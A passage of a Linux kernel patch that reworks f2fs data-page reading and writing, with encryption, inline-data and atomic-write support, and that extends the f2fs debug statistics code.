!whole_file) { + ret = fiemap_fill_next_extent(fieinfo, logical, + phys, size, flags); + goto out; + } + + /* + * if size != 0 then we know we already have an extent + * to add, so add it. + */ + if (size) { + ret = fiemap_fill_next_extent(fieinfo, logical, + phys, size, flags); + if (ret) + goto out; + } + + logical = blk_to_logical(inode, start_blk); + phys = blk_to_logical(inode, map_bh.b_blocknr); + size = map_bh.b_size; + flags = 0; + if (buffer_unwritten(&map_bh)) + flags = FIEMAP_EXTENT_UNWRITTEN; + + start_blk += logical_to_blk(inode, size); + + /* + * If we are past the EOF, then we need to make sure as + * soon as we find a hole that the last extent we found + * is marked with FIEMAP_EXTENT_LAST + */ + if (!past_eof && logical + size >= isize) + past_eof = true; } - f2fs_put_dnode(&dn); - trace_f2fs_get_data_block(inode, iblock, bh_result, 0); + cond_resched(); + if (fatal_signal_pending(current)) + ret = -EINTR; + else + goto next; +out: + if (ret == 1) + ret = 0; + + mutex_unlock(&inode->i_mutex); + return ret; +} + +/* + * This function was originally taken from fs/mpage.c, and customized for f2fs. + * Major change was from block_size == page_size in f2fs by default. + */ +static int f2fs_mpage_readpages(struct address_space *mapping, + struct list_head *pages, struct page *page, + unsigned nr_pages) +{ + struct bio *bio = NULL; + unsigned page_idx; + sector_t last_block_in_bio = 0; + struct inode *inode = mapping->host; + const unsigned blkbits = inode->i_blkbits; + const unsigned blocksize = 1 << blkbits; + sector_t block_in_file; + sector_t last_block; + sector_t last_block_in_file; + sector_t block_nr; + struct block_device *bdev = inode->i_sb->s_bdev; + struct f2fs_map_blocks map; + + map.m_pblk = 0; + map.m_lblk = 0; + map.m_len = 0; + map.m_flags = 0; + + for (page_idx = 0; nr_pages; page_idx++, nr_pages--) { + + prefetchw(&page->flags); + if (pages) { + page = list_entry(pages->prev, struct page, lru); + list_del(&page->lru); + if (add_to_page_cache_lru(page, mapping, + page->index, GFP_KERNEL)) + goto next_page; + } + + block_in_file = (sector_t)page->index; + last_block = block_in_file + nr_pages; + last_block_in_file = (i_size_read(inode) + blocksize - 1) >> + blkbits; + if (last_block > last_block_in_file) + last_block = last_block_in_file; + + /* + * Map blocks using the previous result first. + */ + if ((map.m_flags & F2FS_MAP_MAPPED) && + block_in_file > map.m_lblk && + block_in_file < (map.m_lblk + map.m_len)) + goto got_it; + + /* + * Then do more f2fs_map_blocks() calls until we are + * done with this page. + */ + map.m_flags = 0; + + if (block_in_file < last_block) { + map.m_lblk = block_in_file; + map.m_len = last_block - block_in_file; + + if (f2fs_map_blocks(inode, &map, 0, + F2FS_GET_BLOCK_READ)) + goto set_error_page; + } +got_it: + if ((map.m_flags & F2FS_MAP_MAPPED)) { + block_nr = map.m_pblk + block_in_file - map.m_lblk; + SetPageMappedToDisk(page); + + if (!PageUptodate(page) && !cleancache_get_page(page)) { + SetPageUptodate(page); + goto confused; + } + } else { + zero_user_segment(page, 0, PAGE_CACHE_SIZE); + SetPageUptodate(page); + unlock_page(page); + goto next_page; + } + + /* + * This page will go to BIO. Do we need to send this + * BIO off first? + */ + if (bio && (last_block_in_bio != block_nr - 1)) { +submit_and_realloc: + submit_bio(READ, bio); + bio = NULL; + } + if (bio == NULL) { + struct f2fs_crypto_ctx *ctx = NULL; + + if (f2fs_encrypted_inode(inode) && + S_ISREG(inode->i_mode)) { + + ctx = f2fs_get_crypto_ctx(inode); + if (IS_ERR(ctx)) + goto set_error_page; + + /* wait the page to be moved by cleaning */ + f2fs_wait_on_encrypted_page_writeback( + F2FS_I_SB(inode), block_nr); + } + + bio = bio_alloc(GFP_KERNEL, + min_t(int, nr_pages, bio_get_nr_vecs(bdev))); + if (!bio) { + if (ctx) + f2fs_release_crypto_ctx(ctx); + goto set_error_page; + } + bio->bi_bdev = bdev; + bio->bi_sector = SECTOR_FROM_BLOCK(block_nr); + bio->bi_end_io = f2fs_read_end_io; + bio->bi_private = ctx; + } + + if (bio_add_page(bio, page, blocksize, 0) < blocksize) + goto submit_and_realloc; + + last_block_in_bio = block_nr; + goto next_page; +set_error_page: + SetPageError(page); + zero_user_segment(page, 0, PAGE_CACHE_SIZE); + unlock_page(page); + goto next_page; +confused: + if (bio) { + submit_bio(READ, bio); + bio = NULL; + } + unlock_page(page); +next_page: + if (pages) + page_cache_release(page); + } + BUG_ON(pages && !list_empty(pages)); + if (bio) + submit_bio(READ, bio); return 0; } static int f2fs_read_data_page(struct file *file, struct page *page) { - return mpage_readpage(page, get_data_block_ro); + struct inode *inode = page->mapping->host; + int ret = -EAGAIN; + + trace_f2fs_readpage(page, DATA); + + /* If the file has inline data, try to read it directly */ + if (f2fs_has_inline_data(inode)) + ret = f2fs_read_inline_data(inode, page); + if (ret == -EAGAIN) + ret = f2fs_mpage_readpages(page->mapping, NULL, page, 1); + return ret; } static int f2fs_read_data_pages(struct file *file, struct address_space *mapping, struct list_head *pages, unsigned nr_pages) { - return mpage_readpages(mapping, pages, nr_pages, get_data_block_ro); + struct inode *inode = file->f_mapping->host; + struct page *page = list_entry(pages->prev, struct page, lru); + + trace_f2fs_readpages(inode, page, nr_pages); + + /* If the file has inline data, skip readpages */ + if (f2fs_has_inline_data(inode)) + return 0; + + return f2fs_mpage_readpages(mapping, pages, NULL, nr_pages); } -int do_write_data_page(struct page *page) +int do_write_data_page(struct f2fs_io_info *fio) { + struct page *page = fio->page; struct inode *inode = page->mapping->host; - block_t old_blk_addr, new_blk_addr; struct dnode_of_data dn; int err = 0; @@ -469,11 +1055,26 @@ int do_write_data_page(struct page *page) if (err) return err; - old_blk_addr = dn.data_blkaddr; + fio->blk_addr = dn.data_blkaddr; /* This page is already truncated */ - if (old_blk_addr == NULL_ADDR) + if (fio->blk_addr == NULL_ADDR) { + ClearPageUptodate(page); goto out_writepage; + } + + if (f2fs_encrypted_inode(inode) && S_ISREG(inode->i_mode)) { + + /* wait for GCed encrypted page writeback */ + f2fs_wait_on_encrypted_page_writeback(F2FS_I_SB(inode), + fio->blk_addr); + + fio->encrypted_page = f2fs_encrypt(inode, fio->page); + if (IS_ERR(fio->encrypted_page)) { + err = PTR_ERR(fio->encrypted_page); + goto out_writepage; + } + } set_page_writeback(page); @@ -481,14 +1082,20 @@ int do_write_data_page(struct page *page) * If current allocation needs SSR, * it had better in-place writes for updated data. */ - if (old_blk_addr != NEW_ADDR && !is_cold_data(page) && - need_inplace_update(inode)) { - rewrite_data_page(F2FS_SB(inode->i_sb), page, - old_blk_addr); + if (unlikely(fio->blk_addr != NEW_ADDR && + !is_cold_data(page) && + need_inplace_update(inode))) { + rewrite_data_page(fio); + set_inode_flag(F2FS_I(inode), FI_UPDATE_WRITE); + trace_f2fs_do_write_data_page(page, IPU); } else { - write_data_page(inode, page, &dn, - old_blk_addr, &new_blk_addr); - update_extent_cache(new_blk_addr, &dn); + write_data_page(&dn, fio); + set_data_blkaddr(&dn); + f2fs_update_extent_cache(&dn); + trace_f2fs_do_write_data_page(page, OPU); + set_inode_flag(F2FS_I(inode), FI_APPEND_WRITE); + if (page->index == 0) + set_inode_flag(F2FS_I(inode), FI_FIRST_BLOCK_WRITTEN); } out_writepage: f2fs_put_dnode(&dn); @@ -499,13 +1106,22 @@ static int f2fs_write_data_page(struct page *page, struct writeback_control *wbc) { struct inode *inode = page->mapping->host; - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); loff_t i_size = i_size_read(inode); const pgoff_t end_index = ((unsigned long long) i_size) >> PAGE_CACHE_SHIFT; - unsigned offset; + unsigned offset = 0; bool need_balance_fs = false; int err = 0; + struct f2fs_io_info fio = { + .sbi = sbi, + .type = DATA, + .rw = (wbc->sync_mode == WB_SYNC_ALL) ? WRITE_SYNC : WRITE, + .page = page, + .encrypted_page = NULL, + }; + + trace_f2fs_writepage(page, DATA); if (page->index < end_index) goto write; @@ -515,55 +1131,66 @@ static int f2fs_write_data_page(struct page *page, * this page does not have to be written to disk. */ offset = i_size & (PAGE_CACHE_SIZE - 1); - if ((page->index >= end_index + 1) || !offset) { - if (S_ISDIR(inode->i_mode)) { - dec_page_count(sbi, F2FS_DIRTY_DENTS); - inode_dec_dirty_dents(inode); - } + if ((page->index >= end_index + 1) || !offset) goto out; - } zero_user_segment(page, offset, PAGE_CACHE_SIZE); write: - if (sbi->por_doing) { - err = AOP_WRITEPAGE_ACTIVATE; + if (unlikely(is_sbi_flag_set(sbi, SBI_POR_DOING))) + goto redirty_out; + if (f2fs_is_drop_cache(inode)) + goto out; + if (f2fs_is_volatile_file(inode) && !wbc->for_reclaim && + available_free_memory(sbi, BASE_CHECK)) goto redirty_out; - } /* Dentry blocks are controlled by checkpoint */ if (S_ISDIR(inode->i_mode)) { - dec_page_count(sbi, F2FS_DIRTY_DENTS); - inode_dec_dirty_dents(inode); - err = do_write_data_page(page); - } else { - int ilock = mutex_lock_op(sbi); - err = do_write_data_page(page); - mutex_unlock_op(sbi, ilock); - need_balance_fs = true; + if (unlikely(f2fs_cp_error(sbi))) + goto redirty_out; + err = do_write_data_page(&fio); + goto done; } - if (err == -ENOENT) + + /* we should bypass data pages to proceed the kworkder jobs */ + if (unlikely(f2fs_cp_error(sbi))) { + SetPageError(page); goto out; - else if (err) + } + + if (!wbc->for_reclaim) + need_balance_fs = true; + else if (has_not_enough_free_secs(sbi, 0)) goto redirty_out; - if (wbc->for_reclaim) - f2fs_submit_bio(sbi, DATA, true); + err = -EAGAIN; + f2fs_lock_op(sbi); + if (f2fs_has_inline_data(inode)) + err = f2fs_write_inline_data(inode, page); + if (err == -EAGAIN) + err = do_write_data_page(&fio); + f2fs_unlock_op(sbi); +done: + if (err && err != -ENOENT) + goto redirty_out; clear_cold_data(page); out: + inode_dec_dirty_pages(inode); + if (err) + ClearPageUptodate(page); unlock_page(page); if (need_balance_fs) f2fs_balance_fs(sbi); + if (wbc->for_reclaim) + f2fs_submit_merged_bio(sbi, DATA, WRITE); return 0; redirty_out: - wbc->pages_skipped++; - set_page_dirty(page); - return err; + redirty_page_for_writepage(wbc, page); + return AOP_WRITEPAGE_ACTIVATE; } -#define MAX_DESIRED_PAGES_WP 4096 - static int __f2fs_writepage(struct page *page, struct writeback_control *wbc, void *data) { @@ -573,38 +1200,194 @@ static int __f2fs_writepage(struct page *page, struct writeback_control *wbc, return ret; } +/* + * This function was copied from write_cche_pages from mm/page-writeback.c. + * The major change is making write step of cold data page separately from + * warm/hot data page. + */ +static int f2fs_write_cache_pages(struct address_space *mapping, + struct writeback_control *wbc, writepage_t writepage, + void *data) +{ + int ret = 0; + int done = 0; + struct pagevec pvec; + int nr_pages; + pgoff_t uninitialized_var(writeback_index); + pgoff_t index; + pgoff_t end; /* Inclusive */ + pgoff_t done_index; + int cycled; + int range_whole = 0; + int tag; + int step = 0; + + pagevec_init(&pvec, 0); +next: + if (wbc->range_cyclic) { + writeback_index = mapping->writeback_index; /* prev offset */ + index = writeback_index; + if (index == 0) + cycled = 1; + else + cycled = 0; + end = -1; + } else { + index = wbc->range_start >> PAGE_CACHE_SHIFT; + end = wbc->range_end >> PAGE_CACHE_SHIFT; + if (wbc->range_start == 0 && wbc->range_end == LLONG_MAX) + range_whole = 1; + cycled = 1; /* ignore range_cyclic tests */ + } + if (wbc->sync_mode == WB_SYNC_ALL || wbc->tagged_writepages) + tag = PAGECACHE_TAG_TOWRITE; + else + tag = PAGECACHE_TAG_DIRTY; +retry: + if (wbc->sync_mode == WB_SYNC_ALL || wbc->tagged_writepages) + tag_pages_for_writeback(mapping, index, end); + done_index = index; + while (!done && (index <= end)) { + int i; + + nr_pages = pagevec_lookup_tag(&pvec, mapping, &index, tag, + min(end - index, (pgoff_t)PAGEVEC_SIZE - 1) + 1); + if (nr_pages == 0) + break; + + for (i = 0; i < nr_pages; i++) { + struct page *page = pvec.pages[i]; + + if (page->index > end) { + done = 1; + break; + } + + done_index = page->index; + + lock_page(page); + + if (unlikely(page->mapping != mapping)) { +continue_unlock: + unlock_page(page); + continue; + } + + if (!PageDirty(page)) { + /* someone wrote it for us */ + goto continue_unlock; + } + + if (step == is_cold_data(page)) + goto continue_unlock; + + if (PageWriteback(page)) { + if (wbc->sync_mode != WB_SYNC_NONE) + f2fs_wait_on_page_writeback(page, DATA); + else + goto continue_unlock; + } + + BUG_ON(PageWriteback(page)); + if (!clear_page_dirty_for_io(page)) + goto continue_unlock; + + ret = (*writepage)(page, wbc, data); + if (unlikely(ret)) { + if (ret == AOP_WRITEPAGE_ACTIVATE) { + unlock_page(page); + ret = 0; + } else { + done_index = page->index + 1; + done = 1; + break; + } + } + + if (--wbc->nr_to_write <= 0 && + wbc->sync_mode == WB_SYNC_NONE) { + done = 1; + break; + } + } + pagevec_release(&pvec); + cond_resched(); + } + + if (step < 1) { + step++; + goto next; + } + + if (!cycled && !done) { + cycled = 1; + index = 0; + end = writeback_index - 1; + goto retry; + } + if (wbc->range_cyclic || (range_whole && wbc->nr_to_write > 0)) + mapping->writeback_index = done_index; + + return ret; +} + static int f2fs_write_data_pages(struct address_space *mapping, struct writeback_control *wbc) { struct inode *inode = mapping->host; - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); bool locked = false; int ret; - long excess_nrtw = 0, desired_nrtw; + long diff; + + trace_f2fs_writepages(mapping->host, wbc, DATA); /* deal with chardevs and other special file */ if (!mapping->a_ops->writepage) return 0; - if (wbc->nr_to_write < MAX_DESIRED_PAGES_WP) { - desired_nrtw = MAX_DESIRED_PAGES_WP; - excess_nrtw = desired_nrtw - wbc->nr_to_write; - wbc->nr_to_write = desired_nrtw; - } + /* skip writing if there is no dirty page in this inode */ + if (!get_dirty_pages(inode) && wbc->sync_mode == WB_SYNC_NONE) + return 0; + + if (S_ISDIR(inode->i_mode) && wbc->sync_mode == WB_SYNC_NONE && + get_dirty_pages(inode) < nr_pages_to_skip(sbi, DATA) && + available_free_memory(sbi, DIRTY_DENTS)) + goto skip_write; + + /* during POR, we don't need to trigger writepage at all. */ + if (unlikely(is_sbi_flag_set(sbi, SBI_POR_DOING))) + goto skip_write; + + diff = nr_pages_to_write(sbi, DATA, wbc); if (!S_ISDIR(inode->i_mode)) { mutex_lock(&sbi->writepages); locked = true; } - ret = write_cache_pages(mapping, wbc, __f2fs_writepage, mapping); + ret = f2fs_write_cache_pages(mapping, wbc, __f2fs_writepage, mapping); + f2fs_submit_merged_bio(sbi, DATA, WRITE); if (locked) mutex_unlock(&sbi->writepages); - f2fs_submit_bio(sbi, DATA, (wbc->sync_mode == WB_SYNC_ALL)); remove_dirty_dir_inode(inode); - wbc->nr_to_write -= excess_nrtw; + wbc->nr_to_write = max((long)0, wbc->nr_to_write - diff); return ret; + +skip_write: + wbc->pages_skipped += get_dirty_pages(inode); + return 0; +} + +static void f2fs_write_failed(struct address_space *mapping, loff_t to) +{ + struct inode *inode = mapping->host; + + if (to > inode->i_size) { + truncate_pagecache(inode, 0, inode->i_size); + truncate_blocks(inode, inode->i_size, true); + } } static int f2fs_write_begin(struct file *file, struct address_space *mapping, @@ -612,41 +1395,76 @@ static int f2fs_write_begin(struct file *file, struct address_space *mapping, struct page **pagep, void **fsdata) { struct inode *inode = mapping->host; - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); - struct page *page; + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct page *page = NULL; + struct page *ipage; pgoff_t index = ((unsigned long long) pos) >> PAGE_CACHE_SHIFT; struct dnode_of_data dn; int err = 0; - int ilock; - /* for nobh_write_end */ - *fsdata = NULL; + trace_f2fs_write_begin(inode, pos, len, flags); f2fs_balance_fs(sbi); + + /* + * We should check this at this moment to avoid deadlock on inode page + * and #0 page. The locking rule for inline_data conversion should be: + * lock_page(page #0) -> lock_page(inode_page) + */ + if (index != 0) { + err = f2fs_convert_inline_inode(inode); + if (err) + goto fail; + } repeat: page = grab_cache_page_write_begin(mapping, index, flags); - if (!page) - return -ENOMEM; + if (!page) { + err = -ENOMEM; + goto fail; + } + *pagep = page; - ilock = mutex_lock_op(sbi); + f2fs_lock_op(sbi); - set_new_dnode(&dn, inode, NULL, NULL, 0); - err = get_dnode_of_data(&dn, index, ALLOC_NODE); - if (err) - goto err; + /* check inline_data */ + ipage = get_node_page(sbi, inode->i_ino); + if (IS_ERR(ipage)) { + err = PTR_ERR(ipage); + goto unlock_fail; + } - if (dn.data_blkaddr == NULL_ADDR) - err = reserve_new_block(&dn); + set_new_dnode(&dn, inode, ipage, ipage, 0); - f2fs_put_dnode(&dn); + if (f2fs_has_inline_data(inode)) { + if (pos + len <= MAX_INLINE_DATA) { + read_inline_data(page, ipage); + set_inode_flag(F2FS_I(inode), FI_DATA_EXIST); + sync_inode_page(&dn); + goto put_next; + } + err = f2fs_convert_inline_page(&dn, page); + if (err) + goto put_fail; + } + + err = f2fs_get_block(&dn, index); if (err) - goto err; + goto put_fail; +put_next: + f2fs_put_dnode(&dn); + f2fs_unlock_op(sbi); - mutex_unlock_op(sbi, ilock); + f2fs_wait_on_page_writeback(page, DATA); - if ((len == PAGE_CACHE_SIZE) || PageUptodate(page)) - return 0; + /* wait for GCed encrypted page writeback */ + if (f2fs_encrypted_inode(inode) && S_ISREG(inode->i_mode)) + f2fs_wait_on_encrypted_page_writeback(sbi, dn.data_blkaddr); + + if (len == PAGE_CACHE_SIZE) + goto out_update; + if (PageUptodate(page)) + goto out_clear; if ((pos & PAGE_CACHE_MASK) >= i_size_read(inode)) { unsigned start = pos & (PAGE_CACHE_SIZE - 1); @@ -654,63 +1472,197 @@ static int f2fs_write_begin(struct file *file, struct address_space *mapping, /* Reading beyond i_size is simple: memset to zero */ zero_user_segments(page, 0, start, end, PAGE_CACHE_SIZE); - goto out; + goto out_update; } if (dn.data_blkaddr == NEW_ADDR) { zero_user_segment(page, 0, PAGE_CACHE_SIZE); } else { - err = f2fs_readpage(sbi, page, dn.data_blkaddr, READ_SYNC); + struct f2fs_io_info fio = { + .sbi = sbi, + .type = DATA, + .rw = READ_SYNC, + .blk_addr = dn.data_blkaddr, + .page = page, + .encrypted_page = NULL, + }; + err = f2fs_submit_page_bio(&fio); if (err) - return err; + goto fail; + lock_page(page); - if (!PageUptodate(page)) { - f2fs_put_page(page, 1); - return -EIO; + if (unlikely(!PageUptodate(page))) { + err = -EIO; + goto fail; } - if (page->mapping != mapping) { + if (unlikely(page->mapping != mapping)) { f2fs_put_page(page, 1); goto repeat; } + + /* avoid symlink page */ + if (f2fs_encrypted_inode(inode) && S_ISREG(inode->i_mode)) { + err = f2fs_decrypt_one(inode, page); + if (err) + goto fail; + } } -out: +out_update: SetPageUptodate(page); +out_clear: clear_cold_data(page); return 0; -err: - mutex_unlock_op(sbi, ilock); +put_fail: + f2fs_put_dnode(&dn); +unlock_fail: + f2fs_unlock_op(sbi); +fail: f2fs_put_page(page, 1); + f2fs_write_failed(mapping, pos + len); return err; } -static ssize_t f2fs_direct_IO(int rw, struct kiocb *iocb, +static int f2fs_write_end(struct file *file, + struct address_space *mapping, + loff_t pos, unsigned len, unsigned copied, + struct page *page, void *fsdata) +{ + struct inode *inode = page->mapping->host; + + trace_f2fs_write_end(inode, pos, len, copied); + + set_page_dirty(page); + + if (pos + copied > i_size_read(inode)) { + i_size_write(inode, pos + copied); + mark_inode_dirty(inode); + update_inode_page(inode); + } + + f2fs_put_page(page, 1); + return copied; +} + +static ssize_t check_direct_IO(struct inode *inode, int rw, const struct iovec *iov, loff_t offset, unsigned long nr_segs) +{ + unsigned blocksize_mask = inode->i_sb->s_blocksize - 1; + int seg, i; + size_t size; + unsigned long addr; + ssize_t retval = -EINVAL; + loff_t end = offset; + + if (offset & blocksize_mask) + return -EINVAL; + + /* Check the memory alignment. Blocks cannot straddle pages */ + for (seg = 0; seg < nr_segs; seg++) { + addr = (unsigned long)iov[seg].iov_base; + size = iov[seg].iov_len; + end += size; + if ((addr & blocksize_mask) || (size & blocksize_mask)) + goto out; + + /* If this is a write we don't need to check anymore */ + if (rw & WRITE) + continue; + + /* + * Check to make sure we don't have duplicate iov_base's in this + * iovec, if so return EINVAL, otherwise we'll get csum errors + * when reading back. + */ + for (i = seg + 1; i < nr_segs; i++) { + if (iov[seg].iov_base == iov[i].iov_base) + goto out; + } + } + retval = 0; +out: + return retval; +} + +static ssize_t f2fs_direct_IO(int rw, struct kiocb *iocb, + const struct iovec *iov, loff_t offset, + unsigned long nr_segs) { struct file *file = iocb->ki_filp; - struct inode *inode = file->f_mapping->host; + struct address_space *mapping = file->f_mapping; + struct inode *inode = mapping->host; + size_t count = iov_length(iov, nr_segs); + int err; - if (rw == WRITE) + /* we don't need to use inline_data strictly */ + if (f2fs_has_inline_data(inode)) { + err = f2fs_convert_inline_inode(inode); + if (err) + return err; + } + + if (f2fs_encrypted_inode(inode) && S_ISREG(inode->i_mode)) return 0; - /* Needs synchronization with the cleaner */ - return blockdev_direct_IO(rw, iocb, inode, iov, offset, nr_segs, - get_data_block_ro); + err = check_direct_IO(inode, rw, iov, offset, nr_segs); + if (err) + return err; + + trace_f2fs_direct_IO_enter(inode, offset, count, rw); + + if (rw & WRITE) { + __allocate_data_blocks(inode, offset, count); + if (unlikely(f2fs_cp_error(F2FS_I_SB(inode)))) { + err = -EIO; + goto out; + } + } + + err = blockdev_direct_IO(rw, iocb, inode, iov, offset, nr_segs, + get_data_block_dio); +out: + if (err < 0 && (rw & WRITE)) + f2fs_write_failed(mapping, offset + count); + + trace_f2fs_direct_IO_exit(inode, offset, count, rw, err); + + return err; } -static void f2fs_invalidate_data_page(struct page *page, unsigned long offset) +void f2fs_invalidate_page(struct page *page, unsigned long offset) { struct inode *inode = page->mapping->host; - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); - if (S_ISDIR(inode->i_mode) && PageDirty(page)) { - dec_page_count(sbi, F2FS_DIRTY_DENTS); - inode_dec_dirty_dents(inode); + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + + if (inode->i_ino >= F2FS_ROOT_INO(sbi) && (offset % PAGE_CACHE_SIZE)) + return; + + if (PageDirty(page)) { + if (inode->i_ino == F2FS_META_INO(sbi)) + dec_page_count(sbi, F2FS_DIRTY_META); + else if (inode->i_ino == F2FS_NODE_INO(sbi)) + dec_page_count(sbi, F2FS_DIRTY_NODES); + else + inode_dec_dirty_pages(inode); } + + /* This is atomic written page, keep Private */ + if (IS_ATOMIC_WRITTEN_PAGE(page)) + return; + ClearPagePrivate(page); } -static int f2fs_release_data_page(struct page *page, gfp_t wait) +int f2fs_release_page(struct page *page, gfp_t wait) { + /* If this is dirty page, keep PagePrivate */ + if (PageDirty(page)) + return 0; + + /* This is atomic written page, keep Private */ + if (IS_ATOMIC_WRITTEN_PAGE(page)) + return 0; + ClearPagePrivate(page); return 1; } @@ -720,10 +1672,25 @@ static int f2fs_set_data_page_dirty(struct page *page) struct address_space *mapping = page->mapping; struct inode *inode = mapping->host; + trace_f2fs_set_page_dirty(page, DATA); + SetPageUptodate(page); + + if (f2fs_is_atomic_file(inode)) { + if (!IS_ATOMIC_WRITTEN_PAGE(page)) { + register_inmem_page(inode, page); + return 1; + } + /* + * Previously, this page has been registered, we just + * return here. + */ + return 0; + } + if (!PageDirty(page)) { __set_page_dirty_nobuffers(page); - set_dirty_dir_page(inode, page); + update_dirty_page(inode, page); return 1; } return 0; @@ -731,7 +1698,16 @@ static int f2fs_set_data_page_dirty(struct page *page) static sector_t f2fs_bmap(struct address_space *mapping, sector_t block) { - return generic_block_bmap(mapping, block, get_data_block_ro); + struct inode *inode = mapping->host; + + if (f2fs_has_inline_data(inode)) + return 0; + + /* make sure allocating whole blocks */ + if (mapping_tagged(mapping, PAGECACHE_TAG_DIRTY)) + filemap_write_and_wait(mapping); + + return generic_block_bmap(mapping, block, get_data_block_bmap); } const struct address_space_operations f2fs_dblock_aops = { @@ -740,10 +1716,10 @@ const struct address_space_operations f2fs_dblock_aops = { .writepage = f2fs_write_data_page, .writepages = f2fs_write_data_pages, .write_begin = f2fs_write_begin, - .write_end = nobh_write_end, + .write_end = f2fs_write_end, .set_page_dirty = f2fs_set_data_page_dirty, - .invalidatepage = f2fs_invalidate_data_page, - .releasepage = f2fs_release_data_page, + .invalidatepage = f2fs_invalidate_page, + .releasepage = f2fs_release_page, .direct_IO = f2fs_direct_IO, .bmap = f2fs_bmap, }; diff --git a/fs/f2fs/debug.c b/fs/f2fs/debug.c index 8d9943786c318..478e5d54154f5 100644 --- a/fs/f2fs/debug.c +++ b/fs/f2fs/debug.c @@ -24,37 +24,49 @@ #include "gc.h" static LIST_HEAD(f2fs_stat_list); -static struct dentry *debugfs_root; +static struct dentry *f2fs_debugfs_root; static DEFINE_MUTEX(f2fs_stat_mutex); static void update_general_status(struct f2fs_sb_info *sbi) { - struct f2fs_stat_info *si = sbi->stat_info; + struct f2fs_stat_info *si = F2FS_STAT(sbi); int i; - /* valid check of the segment numbers */ - si->hit_ext = sbi->read_hit_ext; - si->total_ext = sbi->total_hit_ext; + /* validation check of the segment numbers */ + si->hit_largest = atomic64_read(&sbi->read_hit_largest); + si->hit_cached = atomic64_read(&sbi->read_hit_cached); + si->hit_rbtree = atomic64_read(&sbi->read_hit_rbtree); + si->hit_total = si->hit_largest + si->hit_cached + si->hit_rbtree; + si->total_ext = atomic64_read(&sbi->total_hit_ext); + si->ext_tree = sbi->total_ext_tree; + si->ext_node = atomic_read(&sbi->total_ext_node); si->ndirty_node = get_pages(sbi, F2FS_DIRTY_NODES); si->ndirty_dent = get_pages(sbi, F2FS_DIRTY_DENTS); si->ndirty_dirs = sbi->n_dirty_dirs; si->ndirty_meta = get_pages(sbi, F2FS_DIRTY_META); + si->inmem_pages = get_pages(sbi, F2FS_INMEM_PAGES); + si->wb_pages = get_pages(sbi, F2FS_WRITEBACK); si->total_count = (int)sbi->user_block_count / sbi->blocks_per_seg; si->rsvd_segs = reserved_segments(sbi); si->overp_segs = overprovision_segments(sbi); si->valid_count = valid_user_blocks(sbi); si->valid_node_count = valid_node_count(sbi); si->valid_inode_count = valid_inode_count(sbi); + si->inline_xattr = atomic_read(&sbi->inline_xattr); + si->inline_inode = atomic_read(&sbi->inline_inode); + si->inline_dir = atomic_read(&sbi->inline_dir); si->utilization = utilization(sbi); si->free_segs = free_segments(sbi); si->free_secs = free_sections(sbi); si->prefree_count = prefree_segments(sbi); si->dirty_count = dirty_segments(sbi); - si->node_pages = sbi->node_inode->i_mapping->nrpages; - si->meta_pages = sbi->meta_inode->i_mapping->nrpages; + si->node_pages = NODE_MAPPING(sbi)->nrpages; + si->meta_pages = META_MAPPING(sbi)->nrpages; si->nats = NM_I(sbi)->nat_cnt; - si->sits = SIT_I(sbi)->dirty_sentries; + si->dirty_nats = NM_I(sbi)->dirty_nat_cnt; + si->sits = MAIN_SEGS(sbi); + si->dirty_sits = SIT_I(sbi)->dirty_sentries; si->fnids = NM_I(sbi)->fcnt; si->bg_gc = sbi->bg_gc; si->util_free = (int)(free_user_blocks(sbi) >> sbi->log_blocks_per_seg) @@ -76,6 +88,8 @@ static void update_general_status(struct f2fs_sb_info *sbi) si->segment_count[i] = sbi->segment_count[i]; si->block_count[i] = sbi->block_count[i]; } + + si->inplace_count = atomic_read(&sbi->inplace_count); } /* @@ -83,9 +97,9 @@ static void update_general_status(struct f2fs_sb_info *sbi) */ static void update_sit_info(struct f2fs_sb_info *sbi) { - struct f2fs_stat_info *si = sbi->stat_info; - unsigned int blks_per_sec, hblks_per_sec, total_vblocks, bimodal, dist; - struct sit_info *sit_i = SIT_I(sbi); + struct f2fs_stat_info *si = F2FS_STAT(sbi); + unsigned long long blks_per_sec, hblks_per_sec, total_vblocks; + unsigned long long bimodal, dist; unsigned int segno, vblocks; int ndirty = 0; @@ -93,8 +107,7 @@ static void update_sit_info(struct f2fs_sb_info *sbi) total_vblocks = 0; blks_per_sec = sbi->segs_per_sec * (1 << sbi->log_blocks_per_seg); hblks_per_sec = blks_per_sec / 2; - mutex_lock(&sit_i->sentry_lock); - for (segno = 0; segno < TOTAL_SEGS(sbi); segno += sbi->segs_per_sec) { + for (segno = 0; segno < MAIN_SEGS(sbi); segno += sbi->segs_per_sec) { vblocks = get_valid_blocks(sbi, segno, sbi->segs_per_sec); dist = abs(vblocks - hblks_per_sec); bimodal += dist * dist; @@ -104,11 +117,10 @@ static void update_sit_info(struct f2fs_sb_info *sbi) ndirty++; } } - mutex_unlock(&sit_i->sentry_lock); - dist = TOTAL_SECS(sbi) * hblks_per_sec * hblks_per_sec / 100; - si->bimodal = bimodal / dist; + dist = div_u64(MAIN_SECS(sbi) * hblks_per_sec * hblks_per_sec, 100); + si->bimodal = div64_u64(bimodal, dist); if (si->dirty_count) - si->avg_vblocks = total_vblocks / ndirty; + si->avg_vblocks = div_u64(total_vblocks, ndirty); else si->avg_vblocks = 0; } @@ -118,8 +130,9 @@ static void update_sit_info(struct f2fs_sb_info *sbi) */ static void update_mem_info(struct f2fs_sb_info *sbi) { - struct f2fs_stat_info *si = sbi->stat_info; + struct f2fs_stat_info *si = F2FS_STAT(sbi); unsigned npages; + int i; if (si->base_mem) goto get_cache; @@ -133,17 +146,18 @@ static void update_mem_info(struct f2fs_sb_info *sbi) /* build sit */ si->base_mem += sizeof(struct sit_info); - si->base_mem += TOTAL_SEGS(sbi) * sizeof(struct seg_entry); - si->base_mem += f2fs_bitmap_size(TOTAL_SEGS(sbi)); - si->base_mem += 2 * SIT_VBLOCK_MAP_SIZE * TOTAL_SEGS(sbi); + si->base_mem += MAIN_SEGS(sbi) * sizeof(struct seg_entry); + si->base_mem += f2fs_bitmap_size(MAIN_SEGS(sbi)); + si->base_mem += 3 * SIT_VBLOCK_MAP_SIZE * MAIN_SEGS(sbi); + si->base_mem += SIT_VBLOCK_MAP_SIZE; if 